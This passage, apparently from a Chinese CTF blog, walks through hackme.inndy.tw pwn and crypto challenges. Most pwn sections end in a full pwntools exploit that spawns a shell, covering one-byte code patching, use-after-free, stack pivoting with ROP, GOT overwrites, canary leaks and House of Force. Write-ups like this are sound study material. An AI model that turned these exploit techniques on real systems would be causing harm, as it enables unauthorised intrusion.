# for finding offset
p.sendline('123')
for i in range(100):
b = p.recv(4)
print(i*4, hex(int.from_bytes(b, byteorder='little')))
p.recvall()
p.interactive()
# pretty_print_mem()
p.sendline(b'a'*188+p32(flagaddr))
print(p.recvall())

onepunch

這題是個很有趣的題目,首先丟進 IDA 裡面看 code,就是讀一個 16 進位的位置進來以及一個 10 進位的數字,然後把數字寫入到那個位置去然後就這麼的結束,所以這代表你只能寫入一個 byte。只能寫入一個 byte 讓人想到的大概是想辦法修改 address 的某個 byte 讓它跳轉到另一個函數去之類的,所以就先找找看有沒有原本就有的 shell 函數能讓它跳轉,只是找不到這個目標。

相對之下,我反而發現到有個名為 _ 的函數,裡面呼叫了 syscall ,針對 syscall table 看了一下之後發現是 mprotect(0x400000, 0x1000, 7),就是把 0x400000~0x401000 的記憶體區塊的保護模式設為 7,然後再去查了一下 Linux 這部分的 source code 看到 7 是 Read, Write, Execute 三個 flag 的 or 結果,即代表把那塊區塊設成 rwx 的意思。之後用 gdb 裡面的 vmmap 檢查了一下也發現那段記憶體區塊確實是 rwx 的,所以大概是想讓我們修改這塊的記憶體。而這塊基本上包含了程式大部分的地方,所以很多東西都能改,但只可惜只能改一個 byte。

所以就會想到能不能讓它多讀幾個 byte 之類的,所以會想看看有沒有辦法把它 ret 或是 jump 的位置改掉,回到 scanf 的前面。檢查一下之後就會發現 0x400767 的位置的 jump 如果可以回到 scanf 的前方,也就是 0x40072c 就好了。所以接下來打開 IDA 的 Hex View 去看一下那個 jump 的 opcode 是 75 0A,丟到一個可以幫你解碼的線上工具之後發現那代表的是 jne 0xc,所以回去檢查了一下發現它也真的是把 eip 往前 12。

所以我們大概猜測 75jne 的意思,然後後面的 0A 是 offset,只是為什麼 0A 會變成 0xc 又是一個問題了。所以去查了一下有這個 StackOverFlow 回答這份資料有比較詳細的資訊,而結論就是 offset = dest - (source + instruction size),而 short jump (eip relative jump) 的 opcode 長度是 2,所以 offset = dest - (source + 2)

因此我們就可以計算出 offset = 0x40072c - (0x400767 + 2) = -61(dec),而 -61 的 unsigned 表示法可以寫成 195,然後去程式中 input 看看 400768 -61400768 195,也確實會有重複輸入出現,然後再用 400768 10 試著把它恢復看看也確實沒問題。

既然已經能成功修改記憶體之後就隨便挑一塊記憶體寫入 shellcode 再 jump 過去就好了,例如在 0x400767 + 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.arch = 'amd64'

p = remote('hackme.inndy.tw', 7718) # process('./onepunch')
p.recvuntil('Where What?')

def write(addr, val):
return p.sendline(hex(addr)+' '+str(val))

jmp_instruction_offset_addr = 0x400768
write(jmp_instruction_offset_addr, -61) # start multiple input

shellcode = asm(shellcraft.sh())
target_addr = 0x400769
for i, c in enumerate(shellcode):
write(target_addr+i, c)

write(jmp_instruction_offset_addr, 0) # jump forward 2 (0x400767 -> 0x400769)
p.interactive()

這題還蠻好玩的,還順便學了一點 opcode 的知識

raas

推薦閱讀: Use After Free (CTF Wiki)

看它的程式碼會知道說 do_deldo_dump 都完全不檢查資料在不在的,然後 free 的地方也沒有把指標設成 NULL,所以可以靠自己去叫那個函數讓它達成 Use After Free 的目標。當你 free 掉比較小的 chunk 之後再次 malloc 一樣大小的 chunk 出來的話會發現它的 address 是一樣的,這很容易寫個程式驗證。

然後想 get shell,目標是改變程式的流程,所以目標就是看看能不能控制 eip,然後最明顯的控制法就是想辦法去修改 record 裡面的 print 或是 free 指針了。首先,record 的大小很明顯是 12bytes,然後它在 new 東西的時候也是會 malloc 一個 12bytes 的 chunk 出來,之後如果類別是 String 的話那它還會讓你自己輸入數字去 malloc,而那塊區域是我們可以寫入的。

所以若是先讓它 free 掉兩個 chunk,之後 new record 的時候先用掉後 free 的 chunk 所用的記憶體,然後我們再讓它 malloc(12) 不就能取得曾經用過的 chunk 的記憶體空間嗎?然後在透過自己寫入東西之後再讓它呼叫 print 或是 free 就能讓它 jump 到我們想要的地方了。所以先讓它創造出 1 2 兩個 chunk,然後依序釋放 1 2 之後再讓它新建一個 3 的 chunk,種類為 String 且大小為 12,這樣就能寫入到 1 chunk 的內容去了。像是前四個 byte 填上 ask 函數的位置,然後讓它去產生 records[1]->print(records[1]); 的呼叫就 ok 了。

接下來看了一下程式裡面並沒有什麼直接 get shell 的函數,不過有 system 在 PLT 表中,所以可以讓它 jump 到那邊看看,不過這樣只會告訴你參數錯誤。不過眼尖的可能會注意到它輸出 command not found 的時候是所輸出的其實是 system 的地址,這是為什麼呢?看一下它在 do_deldo_dump 裡面是把 record 指標本身當作參數傳入的,而 system 會把它當成 string 解讀。所以我們其實可以在前四 byte 寫上 sh\0\0,然後後四 byte 寫上 system 的地址,然後改呼叫 do_del 就成功 get shell 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

p = remote('hackme.inndy.tw', 7719) # process('./raas')

def new_int_record(idx, val):
p.sendline("1")
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil("Blob type")
p.sendline("1")
p.recvuntil("Value")
p.sendline(str(val))

def new_str_record(idx, size, val):
p.sendline("1")
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil("Blob type")
p.sendline("2")
p.recvuntil("Length")
p.sendline(str(size))
p.recvuntil("Value")
p.sendline(val)

def del_record(idx):
p.sendline("2")
p.recvuntil("Index")
p.sendline(str(idx))

def show_record(idx):
p.sendline("3")
p.recvuntil("Index")
p.sendline(str(idx))

new_int_record(1, 1)
new_int_record(2, 1)
del_record(1)
del_record(2)
new_str_record(3, 12, b'sh\0\0'+p32(0x80484f0)) # new_str_record(3, 12, p32(0x804863b))
del_record(1) # show_record(1)
p.interactive()

rsbo

首先是注意到 read_80_bytes 讀了 0x80 個字元,所以能夠 overflow,然後就依照題目的提示去 open read write 是一種解法,不過我是直接和第二題一起解的,詳見下題。

rsbo-2

它的 overflow 地方最多只能讓我們塞 5 個 dword 進去,對 ROP 來說這個是還蠻致命的問題,不過我們可以試著用 Stack Pivoting 去把 esp 弄到 stack 上面。首先是決定個地方作為新 stack 的地點,而一般都是選 bss+0x800 的地方,因為如果是 bss+0 的時候在 call 一些 libc 裡面的函數會產生問題。接下來用找到 pop ebp 的 gadget 結合 leave 就能改 esp 了,改完就能成功的 pivot。

不過 pivot 完之後要怎麼拿到 shell 又是另一個問題,像是可以直接叫 libc 裡的 system 或是自己弄 syscall,不過很容易發現 binary 本身的 gadgets 不足讓我們直接去叫 syscall,所以一定需要拿到 libc 的 address。這部分就用 write 去把 GOT 上面的 write 函數位置洩漏出來就能拿到了,然後之後再利用那個 base address 看看是要用 system 還是自己 syscall 都是可以的。我用的方法是自己去 syscall:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386'
elf = ELF('./rsbo')
p = remote('hackme.inndy.tw', 7706)
junk = b'\0'*108

write = elf.sym['write']
ret_addr = elf.sym['_start']
write_got = elf.got['write']
p.send(junk+flat([write, ret_addr, 1, write_got, 4]))
write = int.from_bytes(p.recv(4), byteorder='little')
print(hex(write), hex(write_got), hex(write))

libc = ELF('./libc-2.23.so.i386')
base = write - libc.sym['write']
print(hex(base))

addr = elf.bss()+0x800
pop_eax = base+0x2406e
pop_edx_ecx_ebx = base+0xf3c51
int_80 = base+0x2c87
getshell = flat([b'/bin/sh\0', pop_eax, 11,
pop_edx_ecx_ebx, 0, 0, addr, int_80])

read_plt = elf.plt['read']
call_read = 0x8048678
pop_ebp = 0x0804879f
print(hex(addr))
p.send(junk+flat([read_plt, ret_addr, 0, addr, len(getshell)]))

print('write getshell')
p.send(getshell)

print('pivoting')
leave = 0x804867d
p.send(junk+flat([pop_ebp, addr+4, leave]))

p.interactive()

leave_msg

這題的保護除了 Canary 以外都沒開,而主程式的功能是讀一個字串,如果長度超過 8 就切斷(塞 \x00),然後再讓使用者輸入一個 index(用 atoi),接下來只要 index<=64 或是第一個字元不是 - 就把字串用 strdup 複製之後的指標放到一個 bss 上的一個陣列,整個流程一共做三遍。然後經過觀察會發現這題沒有 overflow 能用。

其實檢查那個 - 字元就是個提示了,因為你可以透過在前面加空格來躲過這個檢查,所以目標就是用負的 index 去把某個位置的值改成 heap 上的一個 address。稍微檢查一下之後會發現 GOT 在 bss 的前面,所以可以拿來改 GOT,然後文字內容就放 shellcode 就好了。

像是可以選擇改 strlen puts read 之類的函數到 shellcode 上面,不過會發現它會因為長度太長被切斷 (\x00 + strdup),所以沒有效果,需要想辦法繞過那個限制。我的做法是把 strlen 改成 xor eax, eax; ret,它就永遠會回傳 0,然後第二次就能不管長度限制直接隨便寫入 shellcode 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
p = remote('hackme.inndy.tw', 7715) # process('./leave_msg')
elf = ELF('./leave_msg')

data = 0x804a060
strlen = elf.got['strlen']
puts = elf.got['puts']

p.sendafter('your message', asm('xor eax, eax; ret')) # Make strlen(any) == 0
p.sendline(' '+str((strlen-data)//4)) # Array is indexed by int type
p.sendafter('your message', asm(shellcraft.sh()))
p.sendline(' '+str((puts-data)//4))
p.interactive()

stack

我解這題時 Description 中給的原始碼連結已經失效了,不過我找到了個類似但不完全一樣的 Source Code: this and backup

這題雖然是防護全開,但是沒有想像中的困難,只要能突破 Canary 之後就是經典的 ret2libc 套路了。

記得也先把它 patchelf 一下,結果才會一致

首先測試一下就和普通的 stack 作業一樣,不過很容易發現到說它沒有檢查 stack 大小就直接 pop,所以如果結合 c p i $n p 一起使用就能得到特定記憶體位置的值,所以 Canary 就能輕鬆的拿出來了,__libc_start_main 的位置也是一樣。

接下來 Overflow 後之後就算好位置讓它去叫 system 就好了,不過要注意一下 main 的 epilogue 有點不太一樣,所以還需要稍微調一下才能讓它正常的去 ret。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
p = remote('hackme.inndy.tw', 7716) # process('./stack')
libc = ELF('./libc-2.23.so.i386')

def read_stack_plus_n(n):
p.recvuntil('Cmd >>')
p.sendline('c')
p.sendline('p')
p.recvline_regex(r'Pop -> -?\d+')
p.sendline('i '+str(n))
p.sendline('p')
l = p.recvline_regex(r'Pop -> -?\d+')
v = int(l.split(b' ')[-1])
return v & 0xffffffff

canary = read_stack_plus_n(81)
main_prog = read_stack_plus_n(85)
__libc_start_main = read_stack_plus_n(89)-247
base = __libc_start_main-libc.sym['__libc_start_main']
system = base+libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh'))
print(hex(canary), hex(main_prog), hex(
__libc_start_main), hex(base), hex(system))
p.sendline(b'a'*64+p32(canary)*4+p32(main_prog-5*4)+p32(0)+p32(0)+
p32(system)+p32(__libc_start_main+247)+p32(binsh))
p.sendline('x')
p.interactive()

very_overflow

這題是個能夠讓你紀錄 note 的服務,然後它有個簡單的 note 的結構來存資料。不過問題在於它 add_note 函數在記錄完東西之後會直接把 next 指到字串的 \0 之後的一個位置去。所以讓它記錄完之後再用 edit_note 去把 next 所指到的地方改成其他的 address,然後再存取下兩個 note 就能達成任意 address 的讀寫了。

所以可以把 printf 的位置讀出來算 libc 的位置,然後讀 vuln 函數的 ret,而它指到了 main 的 ret(用 gdb 的 info frame 發現的),所以直接寫入之後就能改 mainret,然後就直接用 libc 上的 gadget 去 syscall 就搞定了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386'
elf = ELF('./very_overflow')
libc = ELF('../libc-2.23.so.i386')
p = remote('hackme.inndy.tw', 7705) # process('./very_overflow')

def create_note(content):
p.sendline('1')
p.sendlineafter('Input your note:', content)

def edit_note(id, content):
p.sendline('2')
p.sendlineafter('Which note to edit:', str(id))
p.sendlineafter('Your new data:', content)

def dump_next_note_addr(id):
p.sendline('3')
p.sendlineafter('Which note to show:', str(id))
p.recvuntil('Next note: ')
return int(p.recvline()[:-1], 16)

create_note('aa') # aa+\n+\0
buf_addr = dump_next_note_addr(0)-8 # first note size = 8

print(hex(buf_addr))

def dump_str(addr):
edit_note(0, b'kkkk'+p32(addr-4))
p.sendline('3')
p.sendlineafter('Which note to show:', '2')
p.recvuntil('Note data: ')
return p.recvline()[:-1]

def write_str(addr, content):
edit_note(0, b'kkkk'+p32(addr-4))
edit_note(2, content)

printf = int.from_bytes(dump_str(elf.got['printf'])[0:4], byteorder='little')
base = printf-libc.sym['printf']
binsh = base+next(libc.search(b'/bin/sh'))
int_80 = base+0x2c87
pop_eax = base+0x2406e
pop_edx_ecx_ebx = base+0xf3c51
print(hex(base))

ebp_addr = int.from_bytes(dump_str(buf_addr+0x420c)[0:4], byteorder='little')
ret_addr = ebp_addr+4
print(hex(ret_addr))
write_str(ret_addr, flat([pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, binsh, int_80]))
p.sendline('5')

p.interactive()

notepad

這題簡單讀一下反編譯的程式碼之後能看出它的 Note 結構大概如下:

1
2
3
4
5
6
7
struct Note {
void (*print_note);
void (*delete_note);
int is_writable;
int note_size;
char data[?];
};

接下來發現到 notepad_openmenu 函數在呼叫 function pointer 的時候問題,因為 menu 裡面的檢查沒有處裡負的,所以就能試著讓它存取上一個 chunk 的 address 達成任意 call。例如這樣就能 call 它的那個假 bash 函數:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
p = gdb.debug('./notepad','handle SIGALRM ignore\nc')
p.sendline('c') # Enter notebook

def new_note(size, data):
p.sendline('a')
p.sendline(str(size))
p.sendline(data)

def note_open_act(id, act):
p.sendline('b')
p.sendline(str(id))
p.sendline('n')
p.sendline(act)

new_note(8, p32(0x80488b2))
new_note(8, 'test')
note_open_act(1, ']') # 'a'-4=']'
p.interactive()

不過這之後才是比較困難的地方,像是我有想過讓它去 call printf,然後用 format string 的方法去 leak libc 的 address,不過因為結構的問題,會被 \0 斷掉所以不太可行。然後後來去看別人的解法發現到了有個方法是用 unsorted bin 會洩漏 main_arena 的地址做的,詳見

所以用這個方法之後得到 main_arena 的位置,然後用這個腳本找 libc 裡面的 main_arena offset,然後用 OneGadget 找看看能用的 gadget 就完成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./notepad')
p = remote('hackme.inndy.tw', 7713) # process('./notepad')
p.recvuntil('::> ')
p.sendline('c') # Enter notebook

def new_note(size, data):
p.recvuntil('::> ')
p.sendline('a')
p.sendline(str(size))
p.sendlineafter('data > ', data)

def note_open_act(id, act):
p.recvuntil('::> ')
p.sendline('b')
p.sendline(str(id))
p.sendline('n')
p.sendlineafter('::> ', act)

def note_open_edit(id, data):
p.recvuntil('::> ')
p.sendline('b')
p.sendline(str(id))
p.sendline('y')
p.sendline(data)
p.sendlineafter('::> ', 'a')

new_note(8, p32(elf.plt['free']))
new_note(100, 'test')
new_note(100, 'test')
note_open_act(1, ']') # 'a'-4=']'
note_open_edit(0, p32(elf.plt['puts']))
note_open_act(1, ']')
libc_main_arena = 0x1b2780
main_arena = int.from_bytes(p.recv(4), byteorder='little') - 0x30
base = main_arena - libc_main_arena
one_gadget = base + 0x3ac3e
note_open_edit(0, p32(one_gadget))
note_open_act(1, ']')
p.interactive()

petbook

在 IDA 自己用 struct 出來之後會比較好讀,整個題目的架構是 user 可以註冊與登入,登入狀態下可以新增與編輯 note,或是領養、改名、拋棄寵物。

有用到的幾個的 struct 大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct list_type {
list_type *next;
void *data;
};
struct post_type {
int uid;
char title[256];
char *content;
};
struct pet_type {
int uid;
char *name;
char *type;
};
struct user_type {
int uid;
char username[256];
char password[256];
int is_admin;
pet_type *pet;
void *list_ptr;
};

第一個可以注意到的漏洞是它在 user_edit_post 裡面有用到 realloc,它的大小是使用者可以自己輸入的,所以只要第一次編輯 note 時輸入大小為 0,第二次再輸入 0 的時候能觸發 double free,不過我這題沒用這個。

另一個漏洞在 user_create 裡面,它 malloc user 之後只有修改 uid username password is_admin 的值而已,所以只要讓它在 malloc(0x218) 的時候回傳一個特定排好的 chunk 即可達成任意讀寫。不過寫的地方因為它會檢查 uid 是否符合一個隨機的 magic 值,所以要先 leak 出 magic 才能寫。

整套流程大概是重複利用新增長度超過 0x218 的 note,然後編輯時讓他呼叫 realloc(ptr, 0) 去 free,這樣下個註冊的 user 就會拿到原本的 chunk。偽造 chunk 的部份還需要用 global 的 current_user 先去 leak 出 heap 的地址,之後再想辦法偽造 chunk 出來即可。libc 的位置可以從 unsorted bin 的 fd 拿。達成讀寫後就寫入 __free_hook 之後讓他 free("/bin/sh") 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
from pwn import *
from pwnlib.util.cyclic import cyclic

context.terminal = ["tmux", "splitw", "-h"]

libc = ELF("./libc-2.23.so.x86_64")
# p = gdb.debug("./petbook", "c")
# p = process("./petbook")
p = remote("hackme.inndy.tw", 7710)


def register(username, password):
p.sendlineafter(b">>", b"1")
p.sendlineafter(b"Username", username)
p.sendlineafter(b"Password", password)


def login(username, password):
p.sendlineafter(b">>", b"2")
p.sendlineafter(b"Username", username)
p.sendlineafter(b"Password", password)


def logout():
p.sendlineafter(b">>", b"0")


def new_post(title, len_content, content):
p.sendlineafter(b">>", b"1")
p.sendlineafter(b"Title", title)
p.sendlineafter(b"Content Length", str(len_content))
if len_content == 0:
return
if len(content) == len_content:
p.sendafter(b"Content", content)
else:
p.sendlineafter(b"Content", content)


def view_wall():
p.sendlineafter(b">>", b"2")


def edit_post(id, title, len_content, content):
p.sendlineafter(b">>", b"3")
p.sendlineafter(b"Post id", str(id))
p.sendlineafter(b"New title", title)
p.sendlineafter(b"New content size", str(len_content))
if len_content == 0:
return
if len(content) == len_content:
p.sendafter(b"Content", content)
else:
p.sendlineafter(b"Content", content)


def rename_pet(name):
p.sendlineafter(b">>", b"6")
p.sendlineafter(b"Name your pet", name)


current_user_addr = 0x603150
magic_addr = 0x603164

register("a", "a")
login("a", "a")

# put into unsorted bin
new_post(b"a", 0x218 + 0x10, b"")
edit_post(2, b"a", 0, b"")

# leak libc
view_wall()
p.recvuntil(b"Content: ")
base = (int.from_bytes(p.recv(6), byteorder="little") & ~0xFFF) - 0x3C3000
print("libc base", hex(base))
__free_hook = base + libc.sym["__free_hook"]

# setup fake user chunk
new_post(
b"a",
0x218 + 0x10,
b"a" * (4 + 256 + 256) + p32(0) + p64(current_user_addr - 8) + p64(0),
)
edit_post(3, b"a", 0, b"")
logout()

register("b", "b")
login("b", "b")

# get a heap address
p.recvuntil(b"Pet Type: ")
userdb_first = int.from_bytes(
p.recv(4), byteorder="little"
) # this might be wrong sometimes...
print("userdb first", hex(userdb_first))

target_chunk = userdb_first + 0x6D0 # address of 5
print("target 1", hex(target_chunk))
new_post(b"a", 0x218 + 0x20, b"a" * 0x10 + p64(magic_addr) + p64(magic_addr)) # 5
new_post(
b"dummy",
0x218 + 0x30,
b"DUMMYCONTENT" * 10,
) # 6 prevent consolidation
edit_post(5, b"a", 0, b"")
edit_post(6, b"a", 0, b"")

# setup another fake user chunk
new_post(
b"a",
0x218 + 0x10,
b"a" * (4 + 256 + 256) + p32(0) + p64(target_chunk + 8) + p64(0),
)
edit_post(7, b"a", 0, b"")
logout()

register("c", "c")
login("c", "c")

# get magic
p.recvuntil(b"Pet Type: ")
magic = int.from_bytes(
p.recv(4), byteorder="little"
) # this might be wrong sometimes...
print("magic", hex(magic))

# setup fake pet
target_chunk2 = userdb_first + 0xC50
print("target 2", hex(target_chunk2))
new_post(
b"a", 0x218 + 0x40, b"a" * 0x10 + p64(magic) + p64(__free_hook) + p64(magic_addr)
) # 9
new_post(
b"dummy",
0x218 + 0x50,
b"DUMMYCONTENT" * 10,
) # 10 prevent consolidation
edit_post(9, b"a", 0, b"")
edit_post(10, b"a", 0, b"")

# setup yet another fake user chunk
new_post(
b"a",
0x218 + 0x10,
b"a" * (4 + 256 + 256) + p32(0) + p64(target_chunk2 + 8 + 8) + p64(0),
)
edit_post(11, b"a", 0, b"")
logout()

register("d", "d")
login("d", "d")

system = base + libc.sym["system"]
rename_pet(p64(system)) # write system into __free_hook

new_post(b"sh", 8, b"/bin/sh\0")
edit_post(13, "sh", 0, b"") # trigger free

p.interactive()

mailer

題目就一個讓你能創建 mail 的功能,和檢視郵件內容的功能而已。

mail 的 struct 如下:

1
2
3
4
5
6
struct mail {
mail *next;
char title[64];
int content_len;
char content[];
};

它會先 malloc mail 的大小,然後設置好 content_len 之後使用 gets 去讀取 title 和 content 與 overflow 的值。很明顯能使用 House of Force 去讓 malloc 回傳任意位置的值。

使用 House of Force 需要有 top chunk 的位置,所以要先 leak 出一個 heap 的 address,這邊先建一個 chunk 之後透過 overflow title 可以改掉 content_len,然後再隨意建第二個 chunk 之後讓他輸出就能 leak 出第一個 chunk 的 address,加上一個 offset (用 gdb 找) 就能得到 top chunk 的 address。

接下來參考 house_of_force.c 裡面的方法就能成功了,不過不知為何有些的目標位置會有錯誤,有些就不會有,所以原本想直接蓋 GOT 上面的 fwrite 去 get shell 的計畫行不通。之後檢查一下會發現到這題其實是 NX 沒開的,所以 stack 是 executable,不過我還是測試了一下,把 GOT 中的 puts 蓋掉變成 heap 上的 shellcode。

接下來在 local 用 gdb 會發現它會失敗,因為 heap 不是 RWX,但是最神奇的是這邊直接放到 remote 執行就很神奇的成功了,不知道為什麼 remote 的 heap 好像是 executable 的,但是 local 不是...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = "x86"
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./mailer")
# p = process("./mailer") # idk why heap is not executable locally...
# gdb.attach(p, "c")
p = remote("hackme.inndy.tw", 7721)


def write_mail(title, content, sz):
p.sendlineafter(b"Action: ", "1")
p.sendlineafter(b"Length: ", str(sz)) # malloc size = sz + 72
p.sendlineafter(b"Title: ", title)
p.sendlineafter(b"Content: ", content)


def dump_mails():
p.sendlineafter(b"Action: ", "2")


write_mail(b"a" * 64 + p32(16), b"MARK", 1)
write_mail(b"test", b"test", 1)

# leak address
dump_mails()
p.recvuntil(b"MARK")
p.recv(4)
first_chunk = int.from_bytes(p.recv(4), byteorder="little")
top_chunk = first_chunk + 0xA0
print(hex(top_chunk))

# house of force to overwrite put@got to shellcode
shellcode_addr = top_chunk + 0x98
print(hex(shellcode_addr))
target = 0x8049FF4
evil_size = target - top_chunk - 4 * 8
print(evil_size - 72)
write_mail(b"peko", b"miko" + p32(0xFFFFFFFF), 1) # overwrite top chunk
write_mail(b"ttt", asm(shellcraft.sh()), evil_size - 72)
write_mail(b"pwnx" + p32(shellcode_addr), b"pwn", 0x10)
p.interactive()

Crypto

easy

hexstring -> ascii

r u kidding

明顯是 rot-n 之類的 Cipher,但是因為我們知道 Flag 的格式是 FLAG{...},那個 n 就很明顯了,連暴力都不用。

not hard

查一下 python 的 base64 documentation,看一下裡面有什麼 base64 的變種能用。這題需要 decode 兩次。

classic cipher 1

就和題目說的一樣是 substitution cipher,不過因為我們知道 Flag 的格式,所以起碼知道四個字母的轉換。

可能用了到的工具: quipqiup

classic cipher 2

網路上找個 vigenere cipher 的解碼器就好了,例如這個

PS: 注意這題的 key 有點長,如果限制太短可能會解不出來

easy AES

這題真的很簡單,只要懂非對稱加密就好了。根據它的 python 碼可以知道它的 input plain_text 是固定的,寫個程式反過來算就好了。

1
2
3
4
#!/usr/bin/env python3
from Crypto.Cipher import AES # pip3 install pycrypto
c = AES.new(b'Hello, World...!')
print(c.decrypt(b'Good Plain Text!').hex())

得到字串後重新執行一次,輸入進去然後打開產生的 output.jpg,上面就有 flag 了。

one time padding

這題點開來就直接給你看程式碼了,然後會輸出 20 個 flag^padding 的結果,而 padding 都是隨機生成的。這樣乍看之下也想不到有什麼做法,不過注意到它有寫個註解說:

X ^ 0 = X, so we want to avoid null byte to keep your secret safe :)

然後回到上面生成 padding 的地方看一下,padding 的每個 byte 是從 1~255 中選的。所以既然 padding 裡面沒有零,代表 flag 的每個字元也不會出現在那個位置上,所以我們可以用排除法。

假設在 i 的位置上從來沒有出現過某個 byte,就代表 flag[i] 是那個 byte。所以我們只要大量取得它的資料就能建表出來破解了。

這個是範例的 Python 程式,大概跑到 125 次的時候它就找出 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = 'https://hackme.inndy.tw/otp/?issue_otp=1'

def getData():
resp = requests.get(url)
return [bytes.fromhex(x) for x in resp.text.split('\n')[:-1]]

appeared = [[False]*256 for i in range(50)]

def isDone():
return all([l.count(False) == 1 for l in appeared])

loop = 1
while not isDone():
print(f'#{loop}')
data = getData()
for s in data:
for i in range(len(s)):
appeared[i][s[i]] = True
loop += 1

flag = ''
for l in appeared:
flag += chr(l.index(False))
print(flag)

shuffle

這題的程式很清楚明白,就是把明文經過一個隨機的字元 mapping 後寫到 crypted.txt,然後再把明文打亂順序後寫入到 plain.txt。所以 crpyted.txt 擁有著原本的順序,而 plain.txt 擁有著原本的字元及其頻率。這題的關鍵就是在字元頻率上面,例如 a 出現 100 次,它變成 k 之後寫入 crypted.txtk 的出現次數也是 100 次,然後 plain.txt 裡面的 a 的出現次數也是 100 次,所以只要根據出現頻率做個 mapping 就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from collections import Counter

with open('crypted.txt', 'r') as f:
crypted = f.read()
with open('plain.txt', 'r') as f:
plain = f.read()

crpyted_cnt = Counter(crypted)
plain_cnt = Counter(plain)
print(crpyted_cnt)
print(plain_cnt)

def take_col(l, n): return [row[n] for row in l]

src = ''.join(take_col(crpyted_cnt.most_common(), 0))
dest = ''.join(take_col(plain_cnt.most_common(), 0))
print(src)
print(dest)
T = str.maketrans(src, dest)
# As there are character with same frequency, you need to fix '#' -> '{' and 'K' -> '}' `T = str.maketrans(src+'#K', dest+'{}')``

decrpyted = crypted.translate(T)

with open('decrypted.txt', 'w') as f:
f.write(decrpyted)

login as admin 2

這題和 login as admin 3 有些相似,一樣是要透過自己改 cookie 來突破,不過它一樣有 sig 需要處裡。不過提示已經跟你說了 length extension attack,那就找個工具來用就好了。例如 HashPump

再來是 PHP 在解讀 querystring 的時候如果遇到重複的 key 出現,後面的會把前面的值覆蓋掉。例如 a=1&a=2 => $_GET['a'] === '2'

還有請你注意一下 md5($secret) 的長度是多少,對破解這題有用。

passcode

這題就是給你一個使用 AES OFB 模式加密的 flag,和一堆加密過的隨機小寫字母字串。去查了一下 wiki 上關於這個模式的介紹,就是它的方法就是先用 key 和 iv 產生出一個加密的一組東西,我叫它 o,然後和 plaintext 做 xor 就加密好了。想到這個題目,讓我想到了之前寫的 one time padding 題目,一樣是和 xor 有關且也給你一堆密文,所以搞不好能用暴力的。

首先是注意到它的加密是每次都創造出一個 AES 的 instance,所以它的加密流程不像 wiki 上關於 OFB 模式介紹的那張圖一樣,會把 o 當作下一次的 cipher 來用,而是每次都用固定的 key 和 iv,所以 o,應該也不會變。自己測試了一下,每次用 encrypt(b'test') 產生出的值都是不會變的,所以這個想法沒錯。所以想一想我們這邊有的資訊有: flag^o r_1^o r_2^o r_3^o ....,其中的 是隨機的一組小寫字母所組成的隨機字串,所以一個正確的 o 應該要能符合 (r_1^o)^o_guess 也是個小寫字母所組成的隨機字串,所以這代表我們有暴力破解的可能性。

不過其實也不用那麼急的開始寫暴力破解的 code,注意到它其實是給你一堆 r_1^o r_2^o r_3^o ... 以及 r_1 r_2 r_3 ... 的一些 constraints,然後要你求解 o。如果熟悉 z3 的話應該就能發現這個是 z3 很擅長求解的一類問題,所以用 z3 求 o 之後再和 flag^o 做 xor 就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import remote
from z3 import *

p = remote('hackme.inndy.tw', 7700)
flag_enc = bytes.fromhex(p.recvline_regex(
r'^[0123456789abcdef]{64}$').decode('ascii'))
random_enc_list = [[p.sendline(), bytes.fromhex(p.recvline_regex(
r'^[0123456789abcdef]{64}$').decode('ascii'))][1] for _ in range(200)]
p.close()
print('data fetched')

o = [BitVec(f'o_{i}', 8) for i in range(32)]
s = Solver()
for random_enc in random_enc_list:
for i in range(32):
xor = o[i] ^ random_enc[i]
s.add(ord('a') <= xor)
